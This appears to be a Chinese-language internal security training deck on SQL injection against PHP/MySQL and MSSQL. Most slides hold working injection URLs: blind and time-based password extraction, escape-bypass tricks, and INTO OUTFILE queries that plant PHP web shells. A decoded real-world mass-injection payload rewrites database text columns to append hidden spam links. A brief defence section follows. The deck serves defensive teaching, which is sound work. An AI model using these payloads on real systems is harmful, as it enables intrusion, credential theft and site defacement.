SlideShare ist ein Scribd-Unternehmen logo
1 von 38
Downloaden Sie, um offline zu lesen
Taien內部資安講座 IV
伺服器端攻擊與防禦I
2013.03.07 @ Hiiir Inc.
Taien Wang<taien_wang@hiiir.com>
英屬維京群島商時間軸科技股份有限公司新創事業部
1020307
伺服器端攻擊與防禦I - 大綱
• SQL Injection
– 攻擊技巧
• 判斷是否有弱點
• 常用函數
• UNION
• 繞過跳脫字元
– ASCII編碼
– 16進位
– 雙位元組跳脫技巧
– SQL Blind Injection
• Time-Based Blind SQL Injection
– SQL Column Truncation
SQL Injection – 簡介
• Rfp, “NT Web Technology Vulnerabilities”, Phrack, 1998
• 維京百科
– SQL攻擊(SQL injection,中國大陸稱作SQL注入攻擊),簡稱隱碼
攻擊,是發生於應用程式之資料庫層的安全漏洞。簡而言之,是在輸入
的字串之中夾帶SQL指令,在設計不良的程式當中忽略了檢查,那麼這
些夾帶進去的指令就會被資料庫伺服器誤認為是正常的SQL指令而執行,
因此遭到破壞。
SQL Injection - 範例資料庫的資料
SQL Injection - 請試想這段程式碼有什麼問題
SQL Injection攻擊技巧 – 簡易嘗試是否有弱點
• http://www.hackdemo.com/getUser.php?id=1
• http://www.hackdemo.com/getUser.php?id=
• http://www.hackdemo.com/getUser.php?id=999999.9
• http://www.hackdemo.com/getUser.php?id=1'
• http://www.hackdemo.com/getUser.php?id=1+and+1=1
• http://www.hackdemo.com/getUser.php?id=1+and+1=2
SQL Injection攻擊技巧 – 空格與註解
• 關鍵字大小寫混雜
• 註解
 #(%23), /*, --
• 空格
 +, /**/
URL編碼 用途
%09 horizontal tab
%0a line feed
%0b vertical tab
%0c form feed
%0d carriage return
%20 space
SQL Injection攻擊技巧 - 猜解資料常用函數
函數 功能
LENGTH(str) 返回字串長度
LEFT(str,len) 返回某字串開頭開始的len最左字串
RIGHT(str,len) 返回某字串開頭開始的len最右字串
SUBSTRING(str,pos,len) 取得某字串的子字串
SUBSTR(str,pos,len) 為SUBSTRING同義詞
MID(str,pos,len) 為SUBSTRING同義詞
CHAR(N,... [USING charset]) 其返回值為一個包含這些整數代碼值的字串
HEX(N_or_S) 如果N或S是一個數字,則返回16進位N的字串
ASCII(str) 返回值為字串str的最左邊數值
CONCAT(str1,str2,...) 返回值為所有連接參數產生的字串
NAME_CONST(name,value) 返回一個定值。當月來產生一個結果集合列時,
NAME_CONST()促使該列使用定義名稱
5.1後限制僅能使用CONST的變數
…
SQL Injection攻擊技巧 - 相關系統函數
函數 功能
LOAD_FILE(file_name) 讀取檔案
INTO OUTFILE '/var/www/html/back.php' 輸出檔案
VERSION() 返回MySQL伺服器版本
DATABASE() 目前使用資料庫名稱
USER() 返回目前MySQL用戶與主機名稱
SYSTEM_USER() 與USER()同義
SESSION_USER() 與USER()同義
SCHEMA() 與DATABASE()同義
CURRENT_USER() 返回當前被驗證的用戶名與主機名組合,可能與
USER()值有所不同
@@DATADIR 讀取資料庫路徑
@@BASEDIR 資料庫安裝路徑
…
SQL Injection攻擊技巧 – 讀檔注意事項
• 欲讀取文件必須在伺服器上
• 必須指定文件完整的路徑
• 必須有權限讀取並且文件必須完全可讀
• 欲讀取文件必須小於 max_allowed_packet
SQL Injection攻擊技巧 – UNION
• PHP+MySQL未支援多指令查詢,利用聯集查詢UNION
– 有弱點的SQL語法,沒有引號的參數(以PHP為例)
• SELECT * FROM `member` WHERE `id` =$id
– 沒有引號攻擊範例
• http://www.hackdemo.com/getUser.php?id=1+and+1=2+UNI
ON+SELECT+1,2,3,4#
– 實際執行語法
• SELECT * FROM `member` WHERE `id` =1 AND 1=2
UNION SELECT 1,2,3,4#
SQL Injection攻擊技巧 – UNION
• PHP+MySQL未支援多指令查詢,利用聯集查詢UNION
• 有弱點的SQL語法,有引號的參數(以PHP為例)
• SELECT * FROM `member` WHERE `name` like '" . $name .
"%'
• 沒有引號攻擊範例
• http://www.hackdemo.com/searchUser.php?name=h%'/**/a
nd/**/1=2/**/union/**/select/**/1,2,3,user()%23
• 實際執行語法
• SELECT * FROM `member` WHERE `name` like
'h%'/**/and/**/1=2/**/union/**/select/**/1,2,3,user()#%'
SQL Injection攻擊技巧 - 成功控制語法
SQL Injection攻擊技巧 – 猜解資料
• 取得長度
– http://www.hackdemo.com/getUser.php?id=1+AND+LENGTH(PA
SSWORD)=1#
– …
– http://www.hackdemo.com/getUser.php?id=1+AND+LENGTH(PA
SSWORD)=7#
• 猜解資料
– http://www.hackdemo.com/getUser.php?id=1+AND+RIGHT(PAS
SWORD,1)='a'#
– …
– http://www.hackdemo.com/getUser.php?id=1+AND+RIGHT(PAS
SWORD,1)='w'#
SQL Injection攻擊技巧 – 讀寫檔案
• 讀資料寫檔案
– http://www.hackdemo.com/getUser.php?id=1+into+outfile+'D:/W
ebsite/www.hackdemo.com/member.txt'
• 寫後門
– http://www.hackdemo.com/getUser.php?id=1+AND+1=2+UNIO
N+SELECT+%22%3C?php+system($_GET['cmd']);?%3E%22,2,3,4+i
nto+outfile+'D:/Website/www.hackdemo.com/cmd.php'
加上跳脫與關閉錯誤訊息,這樣安全了嗎?
SQL Blind Injection
• SQL盲注入(SQL Blind Injection),也是一種SQL Injection的類型。一般
SQL Injection仰賴出錯的相關訊息建構攻擊語法,而盲注入完全仰賴語法
執行的對(true)錯(false)
• SQL Blind Injection
– 一般盲注入
– Time-Based Blind SQL Injection
Time-Based Blind SQL Injection (1/2)
• 透過時間的延遲來判斷該SQL語法是否執行成功
• 技巧
– 內建函數
• BENCHMARK(COUNT, EXPR)
• SLEEP(seconds)
– MySQL >= 5
– 創建較花時間的語法(heavy queries)
Time-Based Blind SQL Injection - 使用
heavy queries (2/2)
Time-Based Blind SQL Injection - 透過時間
延遲猜解資料庫名稱
• http://www.hackdemo.com/getUserLash.php?id=1+UNION+SEL
ECT+IF(SUBSTRING(db,1,1)=CHAR(1),BENCHMARK(5000000,E
NCODE('ENCODE','5s')),NULL),2,3,4+FROM+(SELECT+DATABAS
E()+as+db)+AS+tb
• …
• http://www.hackdemo.com/getUserLash.php?id=1+UNION+SEL
ECT+IF(SUBSTRING(db,1,1)=CHAR(104),BENCHMARK(5000000,
ENCODE('ENCODE','5s')),NULL),2,3,4+FROM+(SELECT+DATABA
SE()+as+db)+AS+tb
SQL Injection攻擊技巧 - 繞過跳脫字元
• ACSII編碼
– ASCII(), CHAR()
– 單一
• CHAR(68)
– 多個
• CHAR(68, 58, 92)
• 16進位編碼
– HEX()
– 0x443A5C
• 雙位元組跳脫技巧
SQL Injection攻擊技巧 - 猜解資料(繞過跳脫)
• 猜解欄位
– http://www.hackdemo.com/getUser.php?id=1+AND+1=2+UNIO
N+SELECT+1,2,3,4+FROM+user--
– http://www.hackdemo.com/getUser.php?id=1+AND+1=2+UNIO
N+SELECT+1,2,3,4+FROM+member--
• 猜解欄位資料
– http://www.hackdemo.com/getUserLash.php?id=1+AND+RIGHT
(PASSWORD,1)=char(0)
– …
– http://www.hackdemo.com/getUserLash.php?id=1+AND+RIGHT
(PASSWORD,1)=char(119)
SQL Injection攻擊技巧 - 讀取資料(繞過跳脫)
• 讀資料寫檔案
– http://www.hackdemo.com/getUserLash.php?id=1+AND+1=
2+UNION+SELECT+1,2,3,load_file(char(68,58,92,87,101,98,
115,105,116,101,92,119,119,119,46,104,97,99,107,100,101
,109,111,46,99,111,109,92,103,101,116,85,115,101,114,46
,112,104,112))--
– http://www.hackdemo.com/getUserLash.php?id=1+AND+1=
2+UNION+SELECT+1,2,3,load_file(0x443A5C576562736974
655C7777772E6861636B64656D6F2E636F6D5C636F6E6669
672E706870)--
SQL Injection攻擊技巧 – 寫檔案(無法繞過引號
限制)
1. 找到phpMyAdmin
2. 遠端MySQL
mysql> use xssdb;
mysql> set
@a=0x73656C656374203078334333463730363837303230343036353736363136433238323
435463530344635333534354232373633364436343237354432393342334633452066726F6D
20787373206C696D6974203120696E746F206F757466696C652027433A2F7368656C6C2E70
687027;
mysql> prepare cmd from @a;
mysql> execute cmd;
@a為
select 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E from
xss limit 1 into outfile 'C:/shell.php';
寫入檔案為
<?php @eval($_POST['cmd']);?>
SQL Injection攻擊技巧 - 雙位元組跳脫技巧
(1/3)
• 透過注入的編碼與反斜線/(%5c)重組產生:字',繞過跳脫字元的限制
• 情境
– 跳脫字元處理
• addslashes
• mysql_escape_string
• php.in
– magic_quotes_gpc 開啟
– 採用BIG5或GBK編碼
• set names gbk, set names big5
SQL Injection攻擊技巧 - 雙位元組跳脫技巧
(2/3)
• 中文語系文字以兩個位元組表示
– Big5:
• 高位元組: 0x81-0xFE;低位元組: 0x40-0x7E、0xA1-0xFE
– GBK :
• 前位元組: 0x81-0xFE;後位元組: 0x40-0x7E
– GB2312:
• 前位元組: 0xB0-0xF7;後位元組: 0xA0-0xFE
– 攻擊字元: %BF, %CC, %D5…
SQL Injection攻擊技巧 -雙位元組跳脫技巧 (3/3)
• 有引號的參數繞過跳脫
– http://www.hackdemo.com/searchUserLash.php?name=h%
%B5'+AND+1=2+UNION+SELECT+1,2,3,4%23
– http://www.hackdemo.com/searchUserLash.php?name=h%
%CC'+AND+1=2+UNION+SELECT+1,2,3,4%23
– http://www.hackdemo.com/searchUserLash.php?name=h%
%d5'+AND+1=2+UNION+SELECT+1,2,3,4%23
SQL Column Truncation – 簡介(1/3)
• MySQL中 SQL mode
– 沒有開啟 STRICT_ALL_TABLES
• 使用者新增超過長度的資料會出現警告提示
• 但資料還是會新增
– 開啟 STRICT_ALL_TABLES
• 使用者新增超過長度的資料會出現提示
• 出現ERROR 1406, 該資料不會成功新增
• 慘案
– 2008-09-07
• WordPress 2.6.1 SQL Column Truncation Vulnerability
SQL Column Truncation - 效果(2/3)
SQL Column Truncation - 防禦方案(3/3)
• 在字串中不該有空白的主動清除
– 如帳號類資訊
• 在 SELECT 資料時加上 BINARY 參數
• 在 MySQL 設定預設以 BINARY 查詢
• 在 MySQL 開啟 STRICT_ALL_TABLES
– 超過欄位長度會出現 ERROR 而非出現 WARNING
– 新增資料為避免發生錯誤, 可能需在新增修改加入額外檢查
SQL Injection – 延伸思考
• INSERT 與 UPDATE 的攻擊可能發生嗎?
• NoSQL 沒有 SQL Injection?
• 其他攻擊利用
– Deep Blind Injection
– Error-Based Injection
• Duplicate Error
• Function
– information_schema
– 使用者自訂函數(User-Defined Functions)
– 觸發(Trigger)
SQL Injection – 自動化工具
• Havij
• Pangolin
• w3af
• Jsky
• SQLmap
• …
正確地防禦SQL Injection
• 最低權限原則
• 使用預先編譯敘述
• 使用預存函數
• 使用UTF8避免使用BIG5或GBK
• 檢查資料型態與強制轉型
– bool settype(mixed &$var, string $type)
– intval, doubleval...
• 使用安全函數
– OWASP ESAPI
• MySQLCodec
MSSQL實際案例 - 116jurist.ru自動化注入(1/4)
• 2012.12.xx 10:03:31
• Serno=51+declare+@s+varchar(8000)+set+@s=cast(0x73657420616e73695f7761726e696e6773206f66
66204445434c415245204054205641524348415228323535292c404320564152434841522832353529204
445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e544142
4c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d4
12e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865
726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74
657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e475448
3e313020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e746162
6c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f7220464554434
8204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c45284040
46455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275
d20534554205b272b40432b275d3d535542535452494e47285b272b40432b275d2c20312c204348415249
4e4445582827273c2f7469746c653e3c27272c5b272b40432b275d29202d203129207768657265205b272b
40432b275d206c696b65202727253c2f7469746c653e3c252727202729204645544348204e455854204652
4f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f43
7572736f72204445414c4c4f43415445205461626c655f437572736f72+as+varchar(8000))+exec(@s)--
MSSQL實際案例 - 116jurist.ru自動化注入(2/4)
• 2012.12.xx 10:03:33
• Serno=51+declare+@s+varchar(8000)+set+@s=cast(0x73657420616e73695f7761726e696e6773206f66
66204445434c415245204054205641524348415228323535292c404320564152434841522832353529204
445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e544142
4c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d4
12e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865
726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74
657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e475448
3e323020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e746162
6c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f7220464554434
8204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c45284040
46455443485f5354415455533d302920424547494e20455845432827414c544552205441424c45205b272
b40542b275d20414c54455220434f4c554d4e205b272b40432b275d207661726368617228383030302920
4e4f54204e554c4c2729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544
f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f434154452054616
26c655f437572736f72+as+varchar(8000))+exec(@s)--
MSSQL實際案例 - 116jurist.ru自動化注入(3/4)
• 2012.12.xx 10:03:44
• Serno=51+declare+@s+varchar(8000)+set+@s=cast(0x73657420616e73695f7761726e696e6773206f66
66204445434c415245204054205641524348415228323535292c404320564152434841522832353529204
445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e544142
4c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d4
12e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865
726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74
657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e475448
3e383020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e746162
6c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f7220464554434
8204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c45284040
46455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275
d20534554205b272b40432b275d3d434f4e5645525428564152434841522838303030292c5b272b40432b
275d292b27273c2f7469746c653e3c7374796c653e2e613474777b706f736974696f6e3a6162736f6c75746
53b636c69703a726563742834353770782c6175746f2c6175746f2c3435377078293b7d3c2f7374796c653e
3c64697620636c6173733d613474773e3c6120687265663d687474703a2f2f3131366a75726973742e7275
203efef0e8e4e8f7e5f1eae8e52df3f1ebf3e3e82deceef1eae2e03c2f613e3c2f6469763e27272027292046455
44348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c
4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72+as+varc
har(8000))+exec(@s)--
MSSQL實際案例 - 116jurist.ru自動化注入解碼
(4/4)
• set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select
c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE
in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>10 and t.table_name=c.table_name and
t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=SUBSTRING(['+@C+'], 1, CHARINDEX(''</title><'',['+@C+']) - 1) where ['+@C+']
like ''%</title><%'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
•
• set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select
c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE
in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>20 and t.table_name=c.table_name and
t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN EXEC('ALTER TABLE ['+@T+'] ALTER COLUMN ['+@C+'] varchar(8000) NOT NULL') FETCH NEXT FROM Table_Cursor INTO
@T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
•
• set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select
c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE
in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>80 and t.table_name=c.table_name and
t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN EXEC('UPDATE ['+@T+'] SET
['+@C+']=CONVERT(VARCHAR(8000),['+@C+'])+''</title><style>.a4tw{position:absolute;clip:rect(457px,auto,auto,457px);}<
/style><div class=a4tw><a href=http://116jurist.ru>þðèäè÷åñêèå-óñëóãè-ìîñêâà</a></div>'' ') FETCH NEXT FROM
Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
參考資料
• 吳翰清, 網路竟然這麼危險(白帽子讲Web安全), 2012
• MySQL, String Functions, 5.1
• MySQL, Miscellaneous Functions, 5.1
• MySQL/PHP 对单引号转义时load_file/outfile 生成一句话
• Shazin Sadakath, Time Based SQL Injection using heavy queries in
MySQL
• Stefan Esser, MySQL and SQL Column Truncation Vulnerabilities, 2008

Weitere ähnliche Inhalte

Was ist angesagt?

滲透測試 Talk @ Nisra
滲透測試 Talk @ Nisra滲透測試 Talk @ Nisra
滲透測試 Talk @ NisraOrange Tsai
 
Android Taipei 2013 August - Android Apps Security
Android Taipei 2013 August - Android Apps SecurityAndroid Taipei 2013 August - Android Apps Security
Android Taipei 2013 August - Android Apps SecurityTaien Wang
 
議題二:Web應用程式安全防護
議題二:Web應用程式安全防護議題二:Web應用程式安全防護
議題二:Web應用程式安全防護Nicolas su
 
OWASP Top 10 (2013) 正體中文版
OWASP Top 10 (2013) 正體中文版OWASP Top 10 (2013) 正體中文版
OWASP Top 10 (2013) 正體中文版Bruce Chen
 
網站系統安全及資料保護設計認知
網站系統安全及資料保護設計認知網站系統安全及資料保護設計認知
網站系統安全及資料保護設計認知Justin Lin
 
用戶端攻擊與防禦
用戶端攻擊與防禦用戶端攻擊與防禦
用戶端攻擊與防禦Taien Wang
 
一個微信專案從0到000的效能調教
一個微信專案從0到000的效能調教一個微信專案從0到000的效能調教
一個微信專案從0到000的效能調教Bruce Chen
 
2017.11.22 OWASP Taiwan Week (Lucas Ko)
2017.11.22  OWASP Taiwan Week (Lucas Ko)2017.11.22  OWASP Taiwan Week (Lucas Ko)
2017.11.22 OWASP Taiwan Week (Lucas Ko)Lucas Ko
 
網站系統安全及資料保護設計認知 2019
網站系統安全及資料保護設計認知 2019網站系統安全及資料保護設計認知 2019
網站系統安全及資料保護設計認知 2019Justin Lin
 
滲透測試簡述(資訊安全顧問服務)
滲透測試簡述(資訊安全顧問服務)滲透測試簡述(資訊安全顧問服務)
滲透測試簡述(資訊安全顧問服務)wanhung1911
 
SITCON2021 Web Security 領航之路
SITCON2021  Web Security 領航之路SITCON2021  Web Security 領航之路
SITCON2021 Web Security 領航之路Tzu-Ting(Fei) Lin
 
渗透测试思路技术与方法
渗透测试思路技术与方法渗透测试思路技术与方法
渗透测试思路技术与方法
 
資訊安全入門
資訊安全入門資訊安全入門
資訊安全入門Tyler Chen
 
基礎網頁程式攻擊檢驗
基礎網頁程式攻擊檢驗基礎網頁程式攻擊檢驗
基礎網頁程式攻擊檢驗Taien Wang
 
調試器原理與架構
調試器原理與架構調試器原理與架構
調試器原理與架構hackstuff
 
伺服器端攻擊與防禦III
伺服器端攻擊與防禦III伺服器端攻擊與防禦III
伺服器端攻擊與防禦IIITaien Wang
 
运维安全 抵抗黑客攻击_云络安全沙龙4月上海站主题分享
运维安全 抵抗黑客攻击_云络安全沙龙4月上海站主题分享运维安全 抵抗黑客攻击_云络安全沙龙4月上海站主题分享
运维安全 抵抗黑客攻击_云络安全沙龙4月上海站主题分享ChinaNetCloud
 

Was ist angesagt? (17)

滲透測試 Talk @ Nisra
滲透測試 Talk @ Nisra滲透測試 Talk @ Nisra
滲透測試 Talk @ Nisra
 
Android Taipei 2013 August - Android Apps Security
Android Taipei 2013 August - Android Apps SecurityAndroid Taipei 2013 August - Android Apps Security
Android Taipei 2013 August - Android Apps Security
 
議題二:Web應用程式安全防護
議題二:Web應用程式安全防護議題二:Web應用程式安全防護
議題二:Web應用程式安全防護
 
OWASP Top 10 (2013) 正體中文版
OWASP Top 10 (2013) 正體中文版OWASP Top 10 (2013) 正體中文版
OWASP Top 10 (2013) 正體中文版
 
網站系統安全及資料保護設計認知
網站系統安全及資料保護設計認知網站系統安全及資料保護設計認知
網站系統安全及資料保護設計認知
 
用戶端攻擊與防禦
用戶端攻擊與防禦用戶端攻擊與防禦
用戶端攻擊與防禦
 
一個微信專案從0到000的效能調教
一個微信專案從0到000的效能調教一個微信專案從0到000的效能調教
一個微信專案從0到000的效能調教
 
2017.11.22 OWASP Taiwan Week (Lucas Ko)
2017.11.22  OWASP Taiwan Week (Lucas Ko)2017.11.22  OWASP Taiwan Week (Lucas Ko)
2017.11.22 OWASP Taiwan Week (Lucas Ko)
 
網站系統安全及資料保護設計認知 2019
網站系統安全及資料保護設計認知 2019網站系統安全及資料保護設計認知 2019
網站系統安全及資料保護設計認知 2019
 
滲透測試簡述(資訊安全顧問服務)
滲透測試簡述(資訊安全顧問服務)滲透測試簡述(資訊安全顧問服務)
滲透測試簡述(資訊安全顧問服務)
 
SITCON2021 Web Security 領航之路
SITCON2021  Web Security 領航之路SITCON2021  Web Security 領航之路
SITCON2021 Web Security 領航之路
 
渗透测试思路技术与方法
渗透测试思路技术与方法渗透测试思路技术与方法
渗透测试思路技术与方法
 
資訊安全入門
資訊安全入門資訊安全入門
資訊安全入門
 
基礎網頁程式攻擊檢驗
基礎網頁程式攻擊檢驗基礎網頁程式攻擊檢驗
基礎網頁程式攻擊檢驗
 
調試器原理與架構
調試器原理與架構調試器原理與架構
調試器原理與架構
 
伺服器端攻擊與防禦III
伺服器端攻擊與防禦III伺服器端攻擊與防禦III
伺服器端攻擊與防禦III
 
运维安全 抵抗黑客攻击_云络安全沙龙4月上海站主题分享
运维安全 抵抗黑客攻击_云络安全沙龙4月上海站主题分享运维安全 抵抗黑客攻击_云络安全沙龙4月上海站主题分享
运维安全 抵抗黑客攻击_云络安全沙龙4月上海站主题分享
 

Ähnlich wie 伺服器端攻擊與防禦I

Hiiir 資安講座 VI 伺服器端攻擊與防禦III
Hiiir 資安講座 VI 伺服器端攻擊與防禦IIIHiiir 資安講座 VI 伺服器端攻擊與防禦III
Hiiir 資安講座 VI 伺服器端攻擊與防禦IIIHiiir Lab
 
滲透測試基本技巧與經驗分享
滲透測試基本技巧與經驗分享滲透測試基本技巧與經驗分享
滲透測試基本技巧與經驗分享WEI CHIEH CHAO
 
程序员常见的Web安全漏洞
程序员常见的Web安全漏洞程序员常见的Web安全漏洞
程序员常见的Web安全漏洞Dai Jun
 
Hiiir 資安講座 II 使安全成為軟體開發的一部分
Hiiir 資安講座 II 使安全成為軟體開發的一部分Hiiir 資安講座 II 使安全成為軟體開發的一部分
Hiiir 資安講座 II 使安全成為軟體開發的一部分Hiiir Lab
 
网站离线数据安全分析漫谈 2012cert
网站离线数据安全分析漫谈 2012cert网站离线数据安全分析漫谈 2012cert
网站离线数据安全分析漫谈 2012certph4nt0m
 
軟體弱點掃描
軟體弱點掃描軟體弱點掃描
軟體弱點掃描Rainmaker Ho
 
雲端分散架構的駭客事件與安全問題
雲端分散架構的駭客事件與安全問題雲端分散架構的駭客事件與安全問題
雲端分散架構的駭客事件與安全問題Alan Lee
 
Hiiir 資安講座 I 基礎網頁程式攻擊檢驗
Hiiir 資安講座 I 基礎網頁程式攻擊檢驗Hiiir 資安講座 I 基礎網頁程式攻擊檢驗
Hiiir 資安講座 I 基礎網頁程式攻擊檢驗Hiiir Lab
 
第四节课:web安全2.0
第四节课:web安全2.0第四节课:web安全2.0
第四节课:web安全2.0Tommy Chang
 
20150528联动技术大讲堂15(刘胜)业务系统上线标准指引
20150528联动技术大讲堂15(刘胜)业务系统上线标准指引20150528联动技术大讲堂15(刘胜)业务系统上线标准指引
20150528联动技术大讲堂15(刘胜)业务系统上线标准指引liu sheng
 
Mysql遇到的一些问题
Mysql遇到的一些问题Mysql遇到的一些问题
Mysql遇到的一些问题wang tongchao
 
Oracle数据库高级安全选件ASO介绍
Oracle数据库高级安全选件ASO介绍Oracle数据库高级安全选件ASO介绍
Oracle数据库高级安全选件ASO介绍jenkin
 
哈佛公開課程_E-75 建構動態網站 第4講_SQL
哈佛公開課程_E-75 建構動態網站 第4講_SQL哈佛公開課程_E-75 建構動態網站 第4講_SQL
哈佛公開課程_E-75 建構動態網站 第4講_SQL奕孝 陳
 
N-layer design & development
N-layer design & developmentN-layer design & development
N-layer design & developmentXuefeng Zhang
 
My sql数据库开发的三十六条军规
My sql数据库开发的三十六条军规My sql数据库开发的三十六条军规
My sql数据库开发的三十六条军规isnull
 
MySQL数据库开发的三十六条军规
MySQL数据库开发的三十六条军规MySQL数据库开发的三十六条军规
MySQL数据库开发的三十六条军规mysqlops
 
Mysql数据库开发的三十六条军规 石展_完整
Mysql数据库开发的三十六条军规 石展_完整Mysql数据库开发的三十六条军规 石展_完整
Mysql数据库开发的三十六条军规 石展_完整Yousri Yan
 
高效Linux SA
高效Linux SA高效Linux SA
高效Linux SAJinrong Ye
 
雲端上的資訊安全-Global Azure Bootcamp 2015 臺北場
雲端上的資訊安全-Global Azure Bootcamp 2015 臺北場雲端上的資訊安全-Global Azure Bootcamp 2015 臺北場
雲端上的資訊安全-Global Azure Bootcamp 2015 臺北場twMVC
 

Ähnlich wie 伺服器端攻擊與防禦I (20)

Hiiir 資安講座 VI 伺服器端攻擊與防禦III
Hiiir 資安講座 VI 伺服器端攻擊與防禦IIIHiiir 資安講座 VI 伺服器端攻擊與防禦III
Hiiir 資安講座 VI 伺服器端攻擊與防禦III
 
滲透測試基本技巧與經驗分享
滲透測試基本技巧與經驗分享滲透測試基本技巧與經驗分享
滲透測試基本技巧與經驗分享
 
SQL Injection
SQL InjectionSQL Injection
SQL Injection
 
程序员常见的Web安全漏洞
程序员常见的Web安全漏洞程序员常见的Web安全漏洞
程序员常见的Web安全漏洞
 
Hiiir 資安講座 II 使安全成為軟體開發的一部分
Hiiir 資安講座 II 使安全成為軟體開發的一部分Hiiir 資安講座 II 使安全成為軟體開發的一部分
Hiiir 資安講座 II 使安全成為軟體開發的一部分
 
网站离线数据安全分析漫谈 2012cert
网站离线数据安全分析漫谈 2012cert网站离线数据安全分析漫谈 2012cert
网站离线数据安全分析漫谈 2012cert
 
軟體弱點掃描
軟體弱點掃描軟體弱點掃描
軟體弱點掃描
 
雲端分散架構的駭客事件與安全問題
雲端分散架構的駭客事件與安全問題雲端分散架構的駭客事件與安全問題
雲端分散架構的駭客事件與安全問題
 
Hiiir 資安講座 I 基礎網頁程式攻擊檢驗
Hiiir 資安講座 I 基礎網頁程式攻擊檢驗Hiiir 資安講座 I 基礎網頁程式攻擊檢驗
Hiiir 資安講座 I 基礎網頁程式攻擊檢驗
 
第四节课:web安全2.0
第四节课:web安全2.0第四节课:web安全2.0
第四节课:web安全2.0
 
20150528联动技术大讲堂15(刘胜)业务系统上线标准指引
20150528联动技术大讲堂15(刘胜)业务系统上线标准指引20150528联动技术大讲堂15(刘胜)业务系统上线标准指引
20150528联动技术大讲堂15(刘胜)业务系统上线标准指引
 
Mysql遇到的一些问题
Mysql遇到的一些问题Mysql遇到的一些问题
Mysql遇到的一些问题
 
Oracle数据库高级安全选件ASO介绍
Oracle数据库高级安全选件ASO介绍Oracle数据库高级安全选件ASO介绍
Oracle数据库高级安全选件ASO介绍
 
哈佛公開課程_E-75 建構動態網站 第4講_SQL
哈佛公開課程_E-75 建構動態網站 第4講_SQL哈佛公開課程_E-75 建構動態網站 第4講_SQL
哈佛公開課程_E-75 建構動態網站 第4講_SQL
 
N-layer design & development
N-layer design & developmentN-layer design & development
N-layer design & development
 
My sql数据库开发的三十六条军规
My sql数据库开发的三十六条军规My sql数据库开发的三十六条军规
My sql数据库开发的三十六条军规
 
MySQL数据库开发的三十六条军规
MySQL数据库开发的三十六条军规MySQL数据库开发的三十六条军规
MySQL数据库开发的三十六条军规
 
Mysql数据库开发的三十六条军规 石展_完整
Mysql数据库开发的三十六条军规 石展_完整Mysql数据库开发的三十六条军规 石展_完整
Mysql数据库开发的三十六条军规 石展_完整
 
高效Linux SA
高效Linux SA高效Linux SA
高效Linux SA
 
雲端上的資訊安全-Global Azure Bootcamp 2015 臺北場
雲端上的資訊安全-Global Azure Bootcamp 2015 臺北場雲端上的資訊安全-Global Azure Bootcamp 2015 臺北場
雲端上的資訊安全-Global Azure Bootcamp 2015 臺北場
 

Mehr von Taien Wang

[MOPCON2019]從零建立商業技術團隊
